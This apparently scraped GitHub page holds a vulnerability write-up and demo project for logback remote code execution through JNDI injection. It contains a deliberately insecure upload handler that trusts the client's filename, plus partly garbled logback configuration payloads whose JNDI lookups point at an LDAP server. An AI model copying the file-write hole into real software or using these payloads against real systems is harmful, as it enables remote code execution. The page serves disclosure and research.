The project is a simple vulnerability Demo environment written by SpringBoot

Overview

TL;DR

In general, the triggering method of the vulnerability described in the following is relatively difficult, unless the following conditions can be met:

  1. The configuration file of logback can be modified or overwritten
  2. Able to make the modified configuration file take effect

Summary

Affected version

logback-classic <=1.2.7

Environment

SpringBoot 2.6.1 

JDK8u111(Please note the available versions of JNDI)

Project address

https://github.com/cn-panda/logbackRceDemo

The project is a simple vulnerability demo environment in springboot, The key function is upload:

public String upload(@RequestParam("file") MultipartFile file) {  
    if (file.isEmpty()) {  
        return "Upload failed, please select a file!!";  
    }  
  
    String fileName = file.getOriginalFilename();  
    String filePath = Thread.currentThread().getContextClassLoader().getResource("").getPath();;  
    System.out.println(filePath);  
    File dest = new File(filePath,fileName);  
    try {  
        file.transferTo(dest);  
        LOGGER.info("Upload succeeded!!");  
        return "Upload succeeded!!";  
    } catch (IOException e) {  
        LOGGER.error(e.toString(), e);  
    }  
    return "Upload failed!!";  
}

The main function of this method is to upload files.

The configuration file of logback in the project is as follows:

1.png

The key point is the scan attribute, which is used by logback to periodically scan the configuration file for changes.

If the configuration file is detected to change, it will update and load the configuration file in real time.

In this project, I deliberately wrote a vulnerability environment with arbitrary file uploads, and then used the scan attribute in the loghack configuration file to cooperate with the logback vulnerability to implement RCE

Note: the upload here is the code I deliberately wrote with file upload vulnerability. It is proposed to propose a possible scenario. It is not the problem of logback itself. Logback only needs this vulnerability to trigger rce. If other vulnerabilities are not used, logback itself is safe

Vulnerability analysis

JNDIConnectionSource

In logback, it is also similar to the Appender of JDBCAppender in log4j1.x —— that is DBAppender

There is an interface called ConnectionSource in DBAppender.

This interface provides a pluggable way to obtain a JDBC connection using the logback class of java.sql.Connection

There are currently three implementation classes: DriverManagerConnectionSource, DataSourceConnectionSource and JNDIConnectionSource.

Each of these three implementation classes can be used to achieve RCE.

But unlike the other two implementation classes, the way JNDIConnectionSource implements RCE is more convenient, because it can implement RCE without relying on other component-dependent gadgets, and only rely on the mechanism provided by the application (JNDI), but DriverManagerConnectionSource and DataSourceConnectionSource must rely on JDBC deserialization vulnerabilities to be able to implement RCE. The restrictions are relatively large, so I will not demonstrate here.

JNDIConnectionSource is logback's own method, as you can see from the name, it obtains javax.sql.DataSource through JNDI, and then obtains java.sql.Connection instance

In fact, you can find out by observing the code of the getConnection method in JNDIConnectionSource.java:

1.png

If dataSource is empty, then let dataSource = lookupDataSource();

Then trigger lookup in lookupDataSource():

1.png

Vulnerability recurrence

First download the reproduced source code, and then run the main function of the RceDemoApplication project:

1.png

Then open the browser and type in the address bar: http://localhost:8080, you can visit the project homepage

1.png

This means that your vulnerability environment has been built.

Then create a configuration file of logback-spring.xml locally, the content of the file is as follows:

                   %-4relative [%thread] %-5level %logger{35} - %msg %n           ldap://127.0.0.1:1389/erqtcd                ">
  
        
               
                %-4relative [%thread] %-5level %logger{35} - %msg %n  
               
            
         
             
               ldap://127.0.0.1:1389/erqtcd  
             
         
     
            
               
            

Then visit http://localhost:8080/upload.html, select the file and click the upload button, use BurpSuite to capture the package, you can see that the file is uploaded successfully:

1.png

After waiting ten seconds, RCE can be executed successfully

1.png

insertFromJNDI

In addition to JNDIConnectionSource, there is actually another configuration that can implement JNDI injection——insertFromJNDI

is the configuration tag of logback, which is used to set the range of attributes. It supports obtaining attribute values through JNDI. Similarly, if you modify the content of the tag, you can also achieve JNDI injection

When the tag is used, it means that the begin method in the InsertFromJNDIAction.java file will be called, and the JNDIUtil.lookup method will be used , thereby triggering the vulnerability:

1.png

Vulnerability recurrence

The reproduction steps are roughly the same as in #JNDIConnectionSource, except that the payload used in the uploaded file needs to be changed, as follows:

                   %-4relative [%thread] %-5level %logger{35} - %msg %n                          ">

   
          
             %-4relative [%thread] %-5level %logger{35} - %msg %n
          
       
      

   
          
       

Upload the configuration file:

1.png

Similarly, after waiting for 10 seconds, RCE can be triggered:

1.png

In fact, in addition to these two, the begin in JMXConfiguratorAction can also be used for malicious purposes.

1.png

You might also like...

Spring for GraphQL demo project with a Vue frontend.

Spring Books - Hello GraphQL This is a demo project that will introduce you to [https://spring.io/projects/spring-graphql](Spring for GraphQL). The Sp

Dec 2, 2022

Google App Engine Standard Environment Source Code for Java 8 and Java11

 Google App Engine Standard Environment Source Code for Java 8 and Java11

Google App Engine Standard Environment Source Code for Java 8 and Java11. This is a repository that contains the Java Source Code for Google App Engin

Jan 2, 2023

A Jenkins plugin for inserting the commits changelog into the jenkins build environment.

commits-changelog-env-plugin A Jenkins plugin for inserting the commits changelog into the jenkins build environment. Jenkins插件, 在构建时通过将提交的更新列表插入 Jenk

Feb 16, 2022

Implementation of Greedy Particle Swarm Optimization, HSGA and Hybrid(GA+PSO) for the purpose of Task Scheduling in cloud computing environment using CloudSim

Implementation of Greedy Particle Swarm Optimization, HSGA and Hybrid(GA+PSO) for the purpose of Task Scheduling in cloud computing environment using CloudSim

Dec 18, 2022

An extension that wraps a Cellpose environment such that WSI can be analyzed using Cellpose through QuPath.

An extension that wraps a Cellpose environment such that WSI can be analyzed using Cellpose through QuPath.

QuPath Cellpose extension This repo adds some support to use 2D Cellpose within QuPath through a Python virtual environment. Installing Step 1: Instal

Nov 25, 2022

A React Native Template for installing a working ClojureScript, Krell, and Storybook environment

A React Native Template for ClojureScript, Krell, and Storybook Getting Started npx react-native init YourProjectName --template react-native-template

Dec 23, 2022

Simple springboot API for addressBook. Supports all REST controllers and have custom error handling for every specific case, also supports redis caching.

Simple springboot API for addressBook. Supports all REST controllers and have custom error handling for every specific case, also supports redis caching.

AddressBook-SpringBoot-API Simple Springboot API for addressBook with redis cache. Supports all REST controllers and have custom error handling for ev

Jan 21, 2022

A simple and efficient short URL conversion service based on SpringBoot.

A simple and efficient short URL conversion service based on SpringBoot.

A simple and efficient short URL conversion service based on SpringBoot What is GeniusShortUrl? GeniusShortUrl is an open source reactive service that

Apr 8, 2022

An assistance platform made using Spring framework that analyses your code, and helps you either to start a devops project, or to turn an existing project into a devops project using open source software (Git, Docker, Jenkins..)

An assistance platform made using Spring framework that analyses your code, and helps you either to start a devops project, or to turn an existing project into a devops project using open source software (Git, Docker, Jenkins..)

DevOpsify Description An assistance platform made using Spring framework that analyses your code, and helps you either to start a devops project, or t

Nov 8, 2022
Comments
  • What are you trying to prove here?

    What are you trying to prove here?

    1. You have not sanitized the filename input from the multipart request. This can happen to any file and is not a Logback-specific problem. Can happen to your application properties, /etc/..., you name it as well. You need the exact location of logback.xml to overwrite it.
    2. Where is the localhost LDAP server running in your example which launches the calculator?
    opened by michael-o 11
Owner
Panda
Focus on information security.
Panda
Spring Cloud Netflix Hystrix Dashboard template resolution vulnerability CVE-2021-22053

CVE-2021-22053: Spring Cloud Netflix Hystrix Dashboard template resolution vulnerability Severity High Vendor Spring by VMware Description Application

SCSL 38 Dec 16, 2022
Logout4Shell - Use Log4Shell vulnerability to vaccinate a victim server against Log4Shell

Logout4Shell Description A vulnerability impacting Apache Log4j versions 2.0 through 2.14.1 was disclosed on the project’s Github on December 9, 2021.

Cybereason 1.7k Jan 3, 2023
BinAbsInspector: Vulnerability Scanner for Binaries

What is BinAbsInspector? BinAbsInspector (Binary Abstract Inspector) is a static analyzer for automated reverse engineering and scanning vulnerabiliti

null 1.3k Jan 4, 2023
Vulnerability CVE-2021-44228 checker

CVE-2021-44228 checker This is the repository for checking for vulnerability CVE-2021-44228. This is a PoC that only displays strings without any exte

Yasuhiro Yamada 36 Nov 9, 2022
F5 BIG-IP iControl REST vulnerability RCE exploit with Java including a testing LAB

CVE-2022-1388 F5 BIG-IP iControl REST vulnerability RCE exploit with Java and ELF. Included Scan a single target Scan many targets Exploit with a shel

Zer0verflow 10 Sep 24, 2022
Non intrusive log4j2 RCE vulnerability patch.

Log4j Patch Resolve the RCE vulnerability caused by JNDI lookup in log4j 2.0~2.14.1. It is licensed under the WTFPL 2.0 license, you can do anything w

Glavo 67 Dec 2, 2022
Deploys an agent to fix CVE-2021-44228 (Log4j RCE vulnerability) in a running JVM process

-- This repository has been archived -- Further development of this tool will continue at corretto/hotpatch-for-apache-log4j2. Thanks for sharing, com

Volker Simonis 108 Dec 23, 2021
Geektime Todo is a demo todo project for Geektime column.

Geektime Todo 简介 这是《极客时间》专栏的 Todo 项目示例。 基本用法 生成 IDEA 工程 ./gradlew idea 检查 ./gradlew check 数据库迁移 ./gradlew flywayMigrate 生成构建产物 ./gradlew build 生成发布包 对

Zheng Ye 53 Oct 20, 2022
Hexagonal Architecture Demo Project about Ticketing and Payment

This project is a sample production-ready implementation for demonstrating the power of Hexagonal Architecture (aka Ports And Adapters Pattern) written in Java.

Alican Akkuş 382 Jan 1, 2023
Microservices with Spring Boot and Kafka Demo Project

Example microservices showing how to use Kafka and Kafka Streams with Spring Boot on the example of distributed transactions implementations with the SAGA pattern

Piotr Mińkowski 98 Jan 7, 2023